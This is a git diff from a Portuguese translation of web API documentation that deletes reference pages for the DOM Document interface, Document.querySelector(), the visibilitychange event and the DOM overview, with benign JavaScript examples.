The Document interface describes the common properties and methods for any kind of document. Depending on the document's type (e.g. HTML, XML, SVG, …), a larger API is available: HTML documents, served with the text/html content type, also implement the {{domxref("HTMLDocument")}} interface, whereas XML and SVG documents implement the {{domxref("XMLDocument")}} interface.

- -

Construtor

- -
-
{{domxref("Document.Document","Document()")}}{{non-standard_inline}}
-
Cria um novo objeto Document.
-
- -

Propriedades

- -

This interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.

- -
-
{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}
-
Provides access to all elements in the document. This is a legacy, non-standard interface and should not be used.
-
{{domxref("Document.async")}} {{Deprecated_inline}}
-
Used with {{domxref("Document.load")}} to indicate an asynchronous request.
-
{{domxref("Document.characterSet")}} {{readonlyinline}}
-
Returns the character set being used by the document.
-
{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}
-
Alias of {{domxref("Document.characterSet")}}. Use this property instead.
-
{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}
-
Indicates whether the document is rendered in quirks or strict mode.
-
{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}
-
Returns the Content-Type from the MIME Header of the current document.
-
{{domxref("Document.doctype")}} {{readonlyinline}}
-
Returns the Document Type Definition (DTD) of the current document.
-
{{domxref("Document.documentElement")}} {{readonlyinline}}
-
Returns the {{domxref("Element")}} that is a direct child of the document. For HTML documents, this is normally the {{HTMLElement("html")}} element.
-
{{domxref("Document.documentURI")}} {{readonlyinline}}
-
Returns the document location as a string.
-
{{domxref("Document.domConfig")}} {{Deprecated_inline}}
-
Should return a {{domxref("DOMConfiguration")}} object.
-
{{domxref("Document.fullscreen")}} {{obsolete_inline}}
-
true when the document is in {{domxref("Using_full-screen_mode","full-screen mode")}}.
-
{{domxref("Document.hidden")}} {{readonlyinline}}
-
-
{{domxref("Document.implementation")}} {{readonlyinline}}
-
Returns the DOM implementation associated with the current document.
-
{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}
-
Alias of {{domxref("Document.characterSet")}}. Use this property instead.
-
{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}
-
Returns the name of the style sheet set that was last enabled. Has the value null until the style sheet is changed by setting the value of {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}.
-
{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}
-
Returns a {{jsxref("Boolean")}} that is true only if this document is synthetic, such as a standalone image, video, audio file, or the like.
-
{{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}
-
The element that's currently in full screen mode for this document.
-
{{domxref("Document.mozFullScreenEnabled")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}
-
true if calling {{domxref("Element.mozRequestFullscreen()")}} would succeed in the curent document.
-
{{domxref("Document.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}
-
Returns the element set as the target for mouse events while the pointer is locked. null if lock is pending, pointer is unlocked, or if the target is in another document.
-
{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}
-
Returns the preferred style sheet set as specified by the page author.
-
{{domxref("Document.scrollingElement")}} {{experimental_inline}} {{readonlyinline}}
-
Returns a reference to the {{domxref("Element")}} that scrolls the document.
-
{{domxref("Document.selectedStyleSheetSet")}}
-
Returns which style sheet set is currently in use.
-
{{domxref("Document.styleSheets")}} {{readonlyinline}}
-
Returns a list of the style sheet objects on the current document.
-
{{domxref("Document.styleSheetSets")}} {{readonlyinline}}
-
Returns a list of the style sheet sets available on the document.
-
{{domxref("Document.timeline")}} {{readonlyinline}}
-
-
{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}
-
-
{{domxref("Document.visibilityState")}} {{readonlyinline}}
-
-

Returns a string denoting the visibility state of the document. Possible values are visiblehiddenprerender, and unloaded.

-
-
{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}
-
Returns the encoding as determined by the XML declaration.
-
{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}
-
Returns true if the XML declaration specifies the document to be standalone (e.g., An external part of the DTD affects the document's content), else false.
-
{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}
-
Returns the version number as specified in the XML declaration or "1.0" if the declaration is absent.
-
- -

The Document interface is extended with the {{domxref("ParentNode")}} interface:

- -

{{page("/en-US/docs/Web/API/ParentNode","Properties")}}

- -

Extensão para o documento HTML

- -

The Document interface for HTML documents inherits from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents.

- -
-
{{domxref("Document.activeElement")}} {{readonlyinline}}
-
Returns the currently focused element.
-
{{domxref("Document.alinkColor")}} {{Deprecated_inline}}
-
Returns or sets the color of active links in the document body.
-
{{domxref("Document.anchors")}}
-
Returns a list of all of the anchors in the document.
-
{{domxref("Document.applets")}} {{Deprecated_inline}}
-
Returns an ordered list of the applets within a document.
-
{{domxref("Document.bgColor")}} {{Deprecated_inline}}
-
Gets/sets the background color of the current document.
-
{{domxref("Document.body")}}
-
Returns the {{HTMLElement("body")}} element of the current document.
-
{{domxref("Document.cookie")}}
-
Returns a semicolon-separated list of the cookies for that document or sets a single cookie.
-
{{domxref("Document.defaultView")}} {{readonlyinline}}
-
Returns a reference to the window object.
-
{{domxref("Document.designMode")}}
-
Gets/sets the ability to edit the whole document.
-
{{domxref("Document.dir")}} {{readonlyinline}}
-
Gets/sets directionality (rtl/ltr) of the document.
-
{{domxref("Document.domain")}}
-
Gets/sets the domain of the current document.
-
{{domxref("Document.embeds")}} {{readonlyinline}}
-
Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.
-
{{domxref("document.fgColor")}} {{Deprecated_inline}}
-
Gets/sets the foreground color, or text color, of the current document.
-
{{domxref("Document.forms")}} {{readonlyinline}}
-
Returns a list of the {{HTMLElement("form")}} elements within the current document.
-
{{domxref("Document.head")}} {{readonlyinline}}
-
Returns the {{HTMLElement("head")}} element of the current document.
-
{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}
-
Gets/sets the height of the current document.
-
{{domxref("Document.images")}} {{readonlyinline}}
-
Returns a list of the images in the current document.
-
{{domxref("Document.lastModified")}} {{readonlyinline}}
-
Returns the date on which the document was last modified.
-
{{domxref("Document.linkColor")}} {{Deprecated_inline}}
-
Gets/sets the color of hyperlinks in the document.
-
{{domxref("Document.links")}} {{readonlyinline}}
-
Returns a list of all the hyperlinks in the document.
-
{{domxref("Document.location")}} {{readonlyinline}}
-
Returns the URI of the current document.
-
{{domxref("Document.plugins")}} {{readonlyinline}}
-
Returns a list of the available plugins.
-
{{domxref("Document.readyState")}} {{readonlyinline}}  {{gecko_minversion_inline("1.9.2")}}
-
Returns loading status of the document.
-
{{domxref("Document.referrer")}} {{readonlyinline}}
-
Returns the URI of the page that linked to this page.
-
{{domxref("Document.scripts")}} {{readonlyinline}}
-
Returns all the {{HTMLElement("script")}} elements on the document.
-
{{domxref("Document.title")}}
-
Sets or gets the title of the current document.
-
{{domxref("Document.URL")}} {{readonlyInline}}
-
Returns the document location as a string.
-
{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}
-
Gets/sets the color of visited hyperlinks.
-
{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}
-
Returns the width of the current document.
-
- -

Event handlers

- -
-
{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("afterscriptexecute")}} event.
-
{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("beforescriptexecute")}} event.
-
{{domxref("Document.oncopy")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("copy")}} event.
-
{{domxref("Document.oncut")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("cut")}} event.
-
{{domxref("Document.onfullscreenchange")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.
-
{{domxref("Document.onfullscreenerror")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.
-
{{domxref("Document.onpaste")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("paste")}} event.
-
{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}
-
Represents the event handling code for the {{event("pointerlockchange")}} event.
-
{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}
-
Represetnts the event handling code for the {{event("pointerlockerror")}} event.
-
{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}
-
Represents the event handling code for the {{event("readystatechange")}} event.
-
{{domxref("Document.onselectionchange")}} {{experimental_inline}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
-
{{domxref("Document.onvisibilitychange")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.
-
{{domxref("Document.onwheel")}} {{non-standard_inline}}
-
Represents the event handling code for the {{event("wheel")}} event.
-
- -

The Document interface is extended with the {{domxref("GlobalEventHandlers")}} interface:

- -

{{Page("/en-US/docs/Web/API/GlobalEventHandlers", "Properties")}}

- -

Methods

- -

This interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.

- -
-
{{domxref("Document.adoptNode()")}}
-
Adopt node from an external document.
-
{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}
-
See {{domxref("Window.captureEvents")}}.
-
{{domxref("Document.caretPositionFromPoint()")}}{{experimental_inline}}
-
Gets the {{domxref("CaretPosition")}} at or near the specified coordinates.
-
{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}
-
Gets a {{Domxref("Range")}} object for the document fragment under the specified coordinates.
-
{{domxref("Document.createAttribute()")}}
-
Creates a new {{domxref("Attr")}} object and returns it.
-
{{domxref("Document.createAttributeNS()")}}
-
Creates a new attribute node in a given namespace and returns it.
-
{{domxref("Document.createCDATASection()")}}
-
Creates a new CDATA node and returns it.
-
{{domxref("Document.createComment()")}}
-
Creates a new comment node and returns it.
-
{{domxref("Document.createDocumentFragment()")}}
-
Creates a new document fragment.
-
{{domxref("Document.createElement()")}}
-
Creates a new element with the given tag name.
-
{{domxref("Document.createElementNS()")}}
-
Creates a new element with the given tag name and namespace URI.
-
{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}
-
Creates a new entity reference object and returns it.
-
{{domxref("Document.createEvent()")}}
-
Creates an event object.
-
{{domxref("Document.createNodeIterator()")}}
-
Creates a {{domxref("NodeIterator")}} object.
-
{{domxref("Document.createProcessingInstruction()")}}
-
Creates a new {{domxref("ProcessingInstruction")}} object.
-
{{domxref("Document.createRange()")}}
-
Creates a {{domxref("Range")}} object.
-
{{domxref("Document.createTextNode()")}}
-
Creates a text node.
-
{{domxref("Document.createTouch()")}} {{Deprecated_inline}}
-
Creates a {{domxref("Touch")}} object.
-
{{domxref("Document.createTouchList()")}}
-
Creates a {{domxref("TouchList")}} object.
-
{{domxref("Document.createTreeWalker()")}}
-
Creates a {{domxref("TreeWalker")}} object.
-
{{domxref("Document.elementFromPoint()")}}{{experimental_inline}}
-
Returns the topmost element at the specified coordinates. 
-
{{domxref("Document.elementsFromPoint()")}}{{experimental_inline}}
-
Returns an array of all elements at the specified coordinates.
-
{{domxref("Document.enableStyleSheetsForSet()")}}
-
Enables the style sheets for the specified style sheet set.
-
{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}
-
Release the pointer lock.
-
{{domxref("Document.getAnimations()")}} {{experimental_inline}}
-
Returns an array of all {{domxref("Animation")}} objects currently in effect, whose target elements are descendants of the document.
-
{{domxref("Document.getElementsByClassName()")}}
-
Returns a list of elements with the given class name.
-
{{domxref("Document.getElementsByTagName()")}}
-
Returns a list of elements with the given tag name.
-
{{domxref("Document.getElementsByTagNameNS()")}}
-
Returns a list of elements with the given tag name and namespace.
-
{{domxref("Document.importNode()")}}
-
Returns a clone of a node from an external document.
-
{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}
-
Replaces entities, normalizes text nodes, etc.
-
{{domxref("Document.registerElement()")}} {{experimental_inline}}
-
Registers a web component.
-
{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}
-
Releases the current mouse capture if it's on an element in this document.
-
{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}
-
See {{domxref("Window.releaseEvents()")}}.
-
{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}
-
See {{domxref("Window.routeEvent()")}}.
-
{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}
-
Allows you to change the element being used as the background image for a specified element ID.
-
- -

The Document interface is extended with the {{domxref("ParentNode")}} interface:

- -
-
{{domxref("document.getElementById","document.getElementById(String id)")}}
-
Returns an object reference to the identified element.
-
{{domxref("document.querySelector","document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}
-
Returns the first Element node within the document, in document order, that matches the specified selectors.
-
{{domxref("document.querySelectorAll","document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}
-
Returns a list of all the Element nodes within the document that match the specified selectors.
-
- -

The Document interface is extended with the {{domxref("XPathEvaluator")}} interface:

- -
-
{{domxref("document.createExpression","document.createExpression(String expression, XPathNSResolver resolver)")}}
-
Compiles an XPathExpression which can then be used for (repeated) evaluations.
-
{{domxref("document.createNSResolver","document.createNSResolver(Node resolver)")}}
-
Creates an {{domxref("XPathNSResolver")}} object.
-
{{domxref("document.evaluate","document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}
-
Evaluates an XPath expression.
-
- -

Extension for HTML documents

- -

The Document interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:

- -
-
{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}
-
In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.
-
{{domxref("document.close()")}}
-
Closes a document stream for writing.
-
{{domxref("document.execCommand","document.execCommand(String command[, Boolean showUI[, String value]])")}}
-
On an editable document, executes a formating command.
-
{{domxref("document.getElementsByName","document.getElementsByName(String name)")}}
-
Returns a list of elements with the given name.
-
{{domxref("document.getSelection()")}}
-
Returns a {{domxref("Selection")}} object related to text selected in the document.
-
{{domxref("document.hasFocus()")}}
-
Returns true if the focus is currently located anywhere inside the specified document.
-
{{domxref("document.open()")}}
-
Opens a document stream for writing.
-
{{domxref("document.queryCommandEnabled","document.queryCommandEnabled(String command)")}}
-
Returns true if the formating command can be executed on the current range.
-
{{domxref("document.queryCommandIndeterm","document.queryCommandIndeterm(String command)")}}
-
Returns true if the formating command is in an indeterminate state on the current range.
-
{{domxref("document.queryCommandState","document.queryCommandState(String command)")}}
-
Returns true if the formating command has been executed on the current range.
-
{{domxref("document.queryCommandSupported","document.queryCommandSupported(String command)")}}
-
Returns true if the formating command is supported on the current range.
-
{{domxref("document.queryCommandValue","document.queryCommandValue(String command)")}}
-
Returns the current value of the current range for a formating command.
-
{{domxref("document.write","document.write(String text)")}}
-
Writes text in a document.
-
{{domxref("document.writeln","document.writeln(String text)")}}
-
Writes a line of text in a document.
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Page Visibility API', '#onvisiblitychange-event-handler', 'onvisibilitychange')}}{{Spec2('Page Visibility API')}}Adds onvisibilitychange.
{{SpecName('Selection API', '', 'Extend Document and GlobalEventHandlers')}}{{Spec2('Selection API')}}Adds onselectstart and onselectionchange.
{{SpecName('DOM1','#i-Document','Document')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 Core','#i-Document','Document')}}{{Spec2('DOM2 Core')}}Supersede DOM 1
{{SpecName('DOM3 Core','#i-Document','Document')}}{{Spec2('DOM3 Core')}}Supersede DOM 2
{{SpecName('DOM WHATWG','#interface-document','Document')}}{{Spec2('DOM WHATWG')}}Intend to supersede DOM 3
{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}{{Spec2('HTML WHATWG')}}Turn the {{domxref("HTMLDocument")}} interface into a Document extension.
{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}{{Spec2('DOM3 XPath')}}Define the {{domxref("XPathEvaluator")}} interface which extend document.
{{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}}{{Spec2('Page Visibility API')}}Extend the Document interface with the visibilityState and hidden attributes
{{SpecName('HTML Editing','#dom-document-getselection','Document')}}{{Spec2('HTML Editing')}}Extend the Document interface
{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}{{Spec2('CSSOM View')}}Extend the Document interface
{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}{{Spec2('CSSOM')}}Extend the Document interface
{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
- -

Notas de compatibilidade do navegador

- -

Notas do Firefox

- -

Mozilla defines a set of non-standard properties made only for XUL content:

- -
-
{{domxref("document.currentScript")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}
-
Returns the {{HTMLElement("script")}} element that is currently executing.
-
{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}
-
(Mozilla add-ons only!) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).
-
{{domxref("document.popupNode")}}
-
Returns the node upon which a popup was invoked.
-
{{domxref("document.tooltipNode")}}
-
Returns the node which is the target of the current tooltip.
-
- -

Mozilla also define some non-standard methods:

- -
-
{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}
-
This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
-
{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}
-
Use the {{domxref("Element.getBoundingClientRect()")}} method instead.
-
{{domxref("document.loadOverlay")}}
-
Loads a XUL overlay dynamically. This only works in XUL documents.
-
{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}
-
This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
-
- -

Notas do Internet Explorer

- -

Microsoft defines some non-standard properties:

- -
-
{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}
-
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
-
Internet Explorer does not support all methods from the Node interface in the Document interface:
-
- -
-
{{domxref("document.contains")}}
-
As a work-around, document.body.contains() can be used.
-
- -

 

diff --git a/files/pt-pt/web/api/document/queryselector/index.html b/files/pt-pt/web/api/document/queryselector/index.html deleted file mode 100644 index e979e285d3..0000000000 --- a/files/pt-pt/web/api/document/queryselector/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Document.querySelector() -slug: Web/API/Document/querySelector -tags: - - API - - DOM - - Document - - Elementos DOM - - Referencia - - Selector API - - Seletores CSS - - Seletors - - metodo - - querySelector -translation_of: Web/API/Document/querySelector ---- -
{{ApiRef("DOM")}}
- -

O método querySelector() de {{domxref("Document")}} retorna o primeiro {{domxref("Element")}} dentro do documento que corresponde ao seletor, ou grupo de seleteores especificados. Se não há elementos que correspondem, null é devolvido como resultado.

- -
-

Nota: A correspondência é feita através de uma travessia pre-order em profundidade dos nódulos do documento, a começar com o primeiro elemento da marcação do documento e iterando através de nódulos sequenciais por ordem do número de nódulos filhos.

-
- -

Syntaxe

- -
element = document.querySelector(selectors);
-
- -

Parameteros

- -
-
selectors
-
Um {{domxref("DOMString")}} a conter um ou mais seletores para com que corresponder. Esta string tem de ser um seletor de CSS valido; se não é, uma exception SYNTAX_ERR é lançada. Veja Localizar elementos do DOM a usar seletores para saber mais sobre seletor e como os gerir.
-
- -
-

Nota: Os carateres que não fazem parte da sintaxe padrão do CSS devem ser evitados ao usar um caráter de barra invertida. Uma vez que o JavaScript também usa barra invertida para escapar, deve ter especial cuidado ao escrever string literals usando estes carateres. Veja {{anch("Escapar carateres especiais")}} para obter mais informação.

-
- -

Resultado

- -

Um objeto {{domxref("HTMLElement")}} a representar o primeiro elemento no documento que corresponde aos seletores de CSS, ou null se não há elementos correspondentes.

- -

Se precisar de uma lista de todos os elementos que correspondem ao seletores especificados, deve usar {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.

- -

Exeções

- -
-
SYNTAX_ERR
-
O syntaxe dos selectors especificados está incorrecto.
-
- -

Notas de uso

- -

Se o seletor especificado corresponde a um ID que é incorretamente utilizado mais que uma vez num documento, o primeiro elemento com esse ID será devolvido.

- -

Pseudoelementos de CSS não devolvem elementos, como é especificado na API de seletores.

- -

Escapar carateres especiais

- -

Para corresponder a um ID ou seletor que não segue a sintaxe de CSS padrão (ao usar o caráter de dois pontos ou espaço incorretamente), deve escapar o caráter com uma barra invertida ("\"). Como a barra invertida também é um caráter de escapar no JavaScript, se a escrever numa string literal, tem de a escapar duas vezes (primeiro para a string do JavaScript, e depois para o querySelector()):

- -
<div id="foo\bar"></div>
-<div id="foo:bar"></div>
-
-<script>
-  console.log('#foo\bar');               // "#fooar" (\b é o caráter de controlo para a barra invertida)
-  document.querySelector('#foo\bar');    // Corresponde a nada
-
-  console.log('#foo\\bar');              // "#foo\bar"
-  console.log('#foo\\\\bar');            // "#foo\\bar"
-  document.querySelector('#foo\\\\bar'); // Corresponde ao primeiro div
-
-  document.querySelector('#foo:bar');    // Corresponde a nada
-  document.querySelector('#foo\\:bar');  // Corresponde ao segundo div
-</script>
- -

Exemplos

- -

Encontrar o primeiro elemento que corresponde a uma classe

- -

Neste exemplo, o primeiro elemento no documento com a classe myclass é devolvida:

- -
var el = document.querySelector(".myclass");
-
- -

Um seletor mais complexo

- -

Seletores são muito poderosos, como demonstrado no seguinte exemplo. O primeiro elemento {{HTMLElement("input")}} com o nome "login" (<input name="login"/>) encontrado dentro dum {{HTMLElement("div")}} cuja classe é "user-panel main" (<div class="user-panel main">) no documento é devolvido:

- -
var el = document.querySelector("div.user-panel.main input[name='login']");
-
- -

Negação

- -

Todos os strings de seletores de CSS são válidos, assim também é possivel ter seletores de negação:

- -
var el = document.querySelector("div.user-panel:not(.main) input[name='login']");
- -

Isto seléciona um input que tem um div com classe user-panel como parente, mas sem a classe main.

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstado
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "document.querySelector()")}}{{Spec2("DOM WHATWG")}}
- -

Compatibilidade

- - - -
{{Compat("api.Document.querySelector")}}
- -

Veja também

- - diff --git a/files/pt-pt/web/api/document/visibilitychange_event/index.html b/files/pt-pt/web/api/document/visibilitychange_event/index.html deleted file mode 100644 index 02df020b70..0000000000 --- a/files/pt-pt/web/api/document/visibilitychange_event/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: visibilitychange -slug: Web/API/Document/visibilitychange_event -translation_of: Web/API/Document/visibilitychange_event ---- -

O evento visibilitychange é ativado quando o conteúdo de um separador se torna visível ou foi ocultado.

- -

Informação geral

- -
-
Especificação
-
{{SpecName("Page Visibility API")}}
-
Interface
-
{{domxref("event")}}
-
Bubbles
-
Sim
-
Cancelável
-
Não
-
Destino
-
{{domxref("Document")}}
-
Ação Predefinida
-
 
-
None
-
- -

Propriedades

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriedadeTipoDescrição
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

Exemplo

- -
document.addEventListener("visibilitychange", function() {
-  console.log( document.visibilityState );
-});
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}{{Spec2('Page Visibility API')}} 
- -

Compatibilidade de navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico13 {{property_prefix("webkit")}}
- 33
{{CompatGeckoDesktop(10)}} {{property_prefix("moz")}}
- {{CompatGeckoDesktop(18)}}
10 -

12.10[1]

-
6.1
-
- -
- - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico4.4 {{property_prefix("webkit")}}{{CompatGeckoMobile(10)}} {{property_prefix("moz")}}
- {{CompatGeckoMobile(18)}}
{{CompatUnknown}}12.10 [1]7
-
- -

[1] Doesn't fire the visibilitychange event when the browser window is minimized, nor set hidden to true.

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/document_object_model/index.html b/files/pt-pt/web/api/document_object_model/index.html deleted file mode 100644 index eecf95b04f..0000000000 --- a/files/pt-pt/web/api/document_object_model/index.html +++ /dev/null @@ -1,502 +0,0 @@ ---- -title: Modelo de Objeto de Documento (DOM) -slug: Web/API/Document_Object_Model -tags: - - API - - DOM - - DOM Reference - - NeedsTranslation - - Referencia - - TopicStub -translation_of: Web/API/Document_Object_Model -original_slug: DOM/DOM_Reference ---- -
{{DefaultAPISidebar("DOM")}}
- -

Modelo de Objeto de Documento (DOM) interliga as páginas da Web para scripts ou linguagens de programação. Normalmente, isso significa que JavaScript, mas a modelagem de documentos HTML, SVG ou XML como objetos não é parte da linguagem de JavaScript. O modelo DOM representa um documento com uma árvore lógica. Cada ramo da árvore termina em um nodo, e cada nodo contém objetos. Os métodos DOM permitem o acesso programático à árvore; com eles, pode alterar a estrutura, o estilo ou o conteúdo do documento. Os nodos podem ter manipuladores de eventos anexados aos mesmos. Quando é acionado um evento, os manipuladores de eventos são executados .

- -

Está disponível uma introdução ao DOM.

- -

Interfaces DOM

- -
-
    -
  • {{domxref("Attr")}}
  • -
  • {{domxref("CharacterData")}}
  • -
  • {{domxref("ChildNode")}} {{experimental_inline}}
  • -
  • {{domxref("Comment")}}
  • -
  • {{domxref("CustomEvent")}}
  • -
  • {{domxref("Document")}}
  • -
  • {{domxref("DocumentFragment")}}
  • -
  • {{domxref("DocumentType")}}
  • -
  • {{domxref("DOMError")}}
  • -
  • {{domxref("DOMException")}}
  • -
  • {{domxref("DOMImplementation")}}
  • -
  • {{domxref("DOMString")}}
  • -
  • {{domxref("DOMTimeStamp")}}
  • -
  • {{domxref("DOMSettableTokenList")}}
  • -
  • {{domxref("DOMStringList")}}
  • -
  • {{domxref("DOMTokenList")}}
  • -
  • {{domxref("Element")}}
  • -
  • {{domxref("Event")}}
  • -
  • {{domxref("EventTarget")}}
  • -
  • {{domxref("HTMLCollection")}}
  • -
  • {{domxref("MutationObserver")}}
  • -
  • {{domxref("MutationRecord")}}
  • -
  • {{domxref("Node")}}
  • -
  • {{domxref("NodeFilter")}}
  • -
  • {{domxref("NodeIterator")}}
  • -
  • {{domxref("NodeList")}}
  • -
  • {{domxref("ParentNode")}} {{experimental_inline}}
  • -
  • {{domxref("ProcessingInstruction")}}
  • -
  • {{domxref("Range")}}
  • -
  • {{domxref("Text")}}
  • -
  • {{domxref("TreeWalker")}}
  • -
  • {{domxref("URL")}}
  • -
  • {{domxref("Window")}}
  • -
  • {{domxref("Worker")}}
  • -
  • {{domxref("XMLDocument")}} {{experimental_inline}}
  • -
-
- -

Interfaces DOM obsoletas {{obsolete_inline}}

- -

The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specification have been removed. It is still not very clear whether some may be reintroduced or not, but for the time being they have to be considered as obsolete and should be avoided:

- -
-
    -
  • {{domxref("CDATASection")}}
  • -
  • {{domxref("DOMConfiguration")}}
  • -
  • {{domxref("DOMErrorHandler")}}
  • -
  • {{domxref("DOMImplementationList")}}
  • -
  • {{domxref("DOMImplementationRegistry")}}
  • -
  • {{domxref("DOMImplementationSource")}}
  • -
  • {{domxref("DOMLocator")}}
  • -
  • {{domxref("DOMObject")}}
  • -
  • {{domxref("DOMUserData")}}
  • -
  • {{domxref("Entity")}}
  • -
  • {{domxref("EntityReference")}}
  • -
  • {{domxref("NamedNodeMap")}}
  • -
  • {{domxref("NameList")}}
  • -
  • {{domxref("Notation")}}
  • -
  • {{domxref("TypeInfo")}}
  • -
  • {{domxref("UserDataHandler")}}
  • -
-
- -

Interfaces HTML

- -

A document containing HTML is described using the {{domxref("HTMLDocument")}} interface. Note that the HTML specification also extends the {{domxref("Document")}} interface.

- -

An HTMLDocument object also gives access to various features of browsers like the ta or the window, in which a page is drawn using the {{domxref("Window")}} interface, the {{domxref("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{domxref("window.history", "History")}}. Eventually, {{domxref("Selection")}} is done on the document.

- -

Interfaces de elemento HTML

- -
-
    -
  • {{domxref("HTMLAnchorElement")}}
  • -
  • {{domxref("HTMLAppletElement")}}
  • -
  • {{domxref("HTMLAreaElement")}}
  • -
  • {{domxref("HTMLAudioElement")}}
  • -
  • {{domxref("HTMLBaseElement")}}
  • -
  • {{domxref("HTMLBodyElement")}}
  • -
  • {{domxref("HTMLBRElement")}}
  • -
  • {{domxref("HTMLButtonElement")}}
  • -
  • {{domxref("HTMLCanvasElement")}}
  • -
  • {{domxref("HTMLDataElement")}}
  • -
  • {{domxref("HTMLDataListElement")}}
  • -
  • {{domxref("HTMLDialogElement")}}
  • -
